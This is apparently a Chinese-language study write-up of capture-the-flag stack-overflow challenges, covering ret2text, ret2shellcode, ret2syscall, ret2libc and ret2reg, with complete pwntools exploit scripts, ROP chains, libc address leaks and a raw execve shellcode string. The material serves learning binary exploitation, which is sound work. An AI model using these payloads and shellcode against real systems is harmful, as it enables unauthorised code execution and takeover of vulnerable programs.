仅供个人学习参考
ret2text
有后门就是爽
先checksec一下
开启了nx保护和部分relro
用ida查看文件
明显有个栈溢出,且存在后门函数
基本思路:我们只需往变量s里填充垃圾数据,覆盖到ebp,再加入后门函数的地址,就可以获得shell。
exp如下
1 2 3 4 5 6 7 8 9
| from pwn import * backdoor=0x0804863A payload=b'a'*(0xffffd148-0xffffd0dc+4)+p32(backdoor) io=process("./ret2text") io.sendline(payload) io.interactive()
|
其中,多填充4字节的垃圾数据是为了覆盖ebp of previous stack frame,即父函数的栈帧的基指针(通常使用ebp寄存器来保存)
补充:当一个函数被调用时,它会在栈上创建一个新的栈帧,用于存储函数的局部变量、参数和其他上下文信息。在创建新栈帧时,当前函数会将其前一个栈帧的基指针值保存在 ebp 寄存器中,以便后续操作可以访问前一个栈帧。
ret2shellcode
没有system(“/bin/sh”)就创造一个出来!!
查看文件
发现有可读可写可执行段
打开ida
有栈溢出,并且将s的数据拷贝到buf上,因为栈不可执行,所以我们可以把后门函数写入到buf上(buf位于.bss段),然后再通过栈溢出返回到buf,即可获得shell
emm似乎因为某些未知原因该题在我机子上显示.bss段不可执行,所以打不通,但是思路是没有问题的
exp如下
1 2 3 4 5 6 7 8 9 10
| from pwn import * shellcode=asm(shellcraft.sh()) buf2_addr=0x0804A080 payload=b'a'*(0xffffd148-0xffffd0dc+4) io=process("./ret2shellcode") io.sendline(shellcode.ljust((0xffffd148-0xffffd0dc+4),b'a')+p32(buf2_addr)) io.interactive()
|
更新:较旧的ubuntu版本可以复现(Ubuntu16,18)
ubuntu18 0x0804A000 rwx
若文件是64位的,需要加个:
题目可输入的字长不够时,可以试试这个shellcode,只有23字节
1
| shellcode:"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
|
ret2syscall
简单的一次代码碎片利用
“震惊!!小小碎片竟然能够……”
查看文件
开启了nx保护
再用ida看看
存在栈溢出,且有字符串“/bin/sh”,但是经过查找发现有可利用的代码片段,于是采用rop的思路,通过系统调用获取shell
1
| execve("/bin/sh",NULL,NULL)
|
利用这个系统调用,其系统调用号为0xb,elf的中断指令为int 0x80
存放思路:
eax 0xb
ebx binsh地址(0x080BE408)
ecx 0
edx 0
利用ROPgadget工具查找相应指令,如下:
找到俩能用的
1 2
| 0x080bb196 : pop eax ; ret 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
|
exp如下:
1 2 3 4 5 6 7 8 9
| from pwn import * io = process('./rop') pop_eax_ret = 0x080bb196 pop_edx_ecx_ebx_ret = 0x0806eb90 int_0x80 = 0x08049421 binsh = 0x80be408 payload = flat(['A' * (0xffffd148-0xffffd0dc+4), pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80]) io.sendline(payload) io.interactive()
|
一把梭: ROPgadget –binary filename – ropchain
可以自动帮我们写好exp,要注意的是,如果读入长度有限,就需要自己优化一下,或者手动
ret2libc1
“system和/bin/sh分床了,这可怎么办?”
经典操作
开启了nx保护
有栈溢出,有/bin/sh,甚至还有system,但是此时system体内塞入了别的字符串什么渣…
这时,我们就要用到plt表和got表了。
基本思路:利用栈溢出跳转到plt表中的system项,然后再通过其调用system函数,并传入参数”/bin/sh”,然后获得shell。
exp如下:
1 2 3 4 5 6 7
| from pwn import * io = process('./ret2libc1') binsh_addr = 0x8048720 system_plt = 0x08048460 payload = flat(['a' * (0xffffd148-0xffffd0dc+4), system_plt, 'aaaa', binsh_addr]) io.sendline(payload) io.interactive()
|
其中填入aaaa是为了返回一个虚假地址(在栈上占个位置用的)
ret2libc2
“/bin/sh被气走了,这可怎么办?”
还是经典操作(图懒得给了,切屏切到手酸)
总之有栈溢出,有buf2在.bss段,有gets函数,可以手动构造一个/bin/sh,然后再调用system函数,跟ret2libc1差不多
exp如下:
1 2 3 4 5 6 7 8 9 10
| from pwn import * io = process('./ret2libc2') gets_plt = 0x08048460 system_plt = 0x08048490 pop_ebx_ret = 0x0804843d buf2 = 0x804a080 payload = flat(['a' * (0xffffd148-0xffffd0dc+4), gets_plt, pop_ebx_ret, buf2, system_plt, 'aaaa', buf2]) io.sendline(payload) io.sendline('/bin/sh') io.interactive()
|
其中,pop_ebx_ret起到两个作用,一个是充当gets函数的返回地址,另一个是它本身功能:将buf2从栈上pop掉,然后返回到system_plt,维持栈平衡
当然这里还有另外一种写法,即
1
| payload = flat(['a' * (0xffffd148-0xffffd0dc+4), gets_plt,system_plt, buf2, buf2])
|
这样写,system_plt可以直接充当gets函数的返回地址,gets执行完毕后直接跳转到system_plt,然后先前栈上的buf2刚好充当system_plt的虚假返回地址(刚刚没有pop掉)
ret2libc3
“emmm没有sh也没有system,可利用的指令碎片也基本没有,这可真令人难受”
开启了nx保护,存在栈溢出,似乎没有别的东西了,怎么找到system函数地址呢?system函数属于libc,而libc.so 动态链接库中的函数之间相对偏移是固定的,那么只要得到libc中某个函数的地址,我们就可以得出system函数的地址
我们采用got表来泄露目标函数地址,由于libc的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。本题我们泄露__libc_start_main函数的地址
emmmLibcSearcher这个工具不太好用,写这题的时候它并没有找到所需libc版本
这里推荐两个网站
https://libc.rip/
https://libc.blukat.me/
这两个网站可以通过输入函数和对应地址末三位来查找当前使用的libc版本,并得到函数偏移量
如图
有时候查找出来的libc版本会比较多,建议多加几个函数进去(条件允许的话),然后一个个试
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import *
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
puts_plt = ret2libc3.plt['puts'] libc_start_main_got = ret2libc3.got['__libc_start_main'] main = ret2libc3.symbols['main']
payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got]) sh.sendlineafter('Can you find it !?', payload)
libc_start_main_addr = u32(sh.recv()[0:4]) print(hex(libc_start_main_addr)) libc_start_main=0x021560 system=0x047cb0 binsh=0x1b90f5 libcbase = libc_start_main_addr - libc_start_main system_addr = libcbase + system binsh_addr = libcbase + binsh
payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr]) sh.sendline(payload)
sh.interactive()
|
后补:最近发现这个查偏移的网站好像用不了,然后加个给了libc的情况的exp(一般会给吧),下面是打本地的情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import * elf=ELF("./ret2libc3") libc=ELF("/lib32/libc.so.6") io=process("./ret2libc3") io.recvuntil(" it !?") puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] start_addr = elf.symbols['_start'] payload=cyclic(112)+p32(puts_plt)+p32(start_addr)+p32(puts_got) io.sendline(payload) puts_realaddr=u32(io.recv()[0:4]) print(hex(puts_realaddr)) libc_addr=puts_realaddr-libc.sym['puts'] system_addr=libc_addr+libc.sym['system'] binsh_addr=libc_addr+next(libc.search(b"/bin/sh")) payload=cyclic(112)+p32(system_addr)+p32(0xdeadbeef)+p32(binsh_addr) io.sendline(payload) io.interactive()
|
本地libc版本查找方式:
And
像puts这些函数的got地址plt地址可以手动查询,通过ida(ctrl+s)
要注意got地址是.got.plt 而不是.got , plt地址在.plt.sec 而不是.plt
64位的情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import * elf=ELF("./ret2libc_64") libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") io=process("./ret2libc_64") io.recvuntil("Pls Input") puts_plt=elf.plt['puts'] read_got=elf.got['read'] start_addr = elf.symbols['_start'] pop_rdi_ret=0x0000000000401293 payload=cyclic(40)+p64(pop_rdi_ret)+p64(read_got)+p64(puts_plt)+p64(start_addr) io.sendline(payload) read_realaddr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print(hex(read_realaddr)) libc_addr=read_realaddr-libc.sym['read'] system_addr=libc_addr+libc.sym['system'] binsh_addr=libc_addr+next(libc.search(b"/bin/sh")) ret_addr=0x000000000040101a payload=cyclic(40)+p64(ret_addr)+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)+p64(0xdeadbeef) io.sendline(payload) io.interactive()
|
总体上差不多,就是传参方式改变,前六个参数分别给rdi rsi rdx rcx r8 r9,以及需要注意栈对齐(第二个payload的ret就是为了栈对齐)
ret2reg
顾名思义,就是控制程序执行流返回到寄存器。首先需要知道执行ret时(栈溢出后)指向缓冲区空间的是哪个寄存器,其次往缓冲区写入shellcode,然后将call [寄存器] 或者jmp [寄存器]指令地址填入retaddress,利用栈溢出完成攻击
实现前提,该缓冲区是RWX的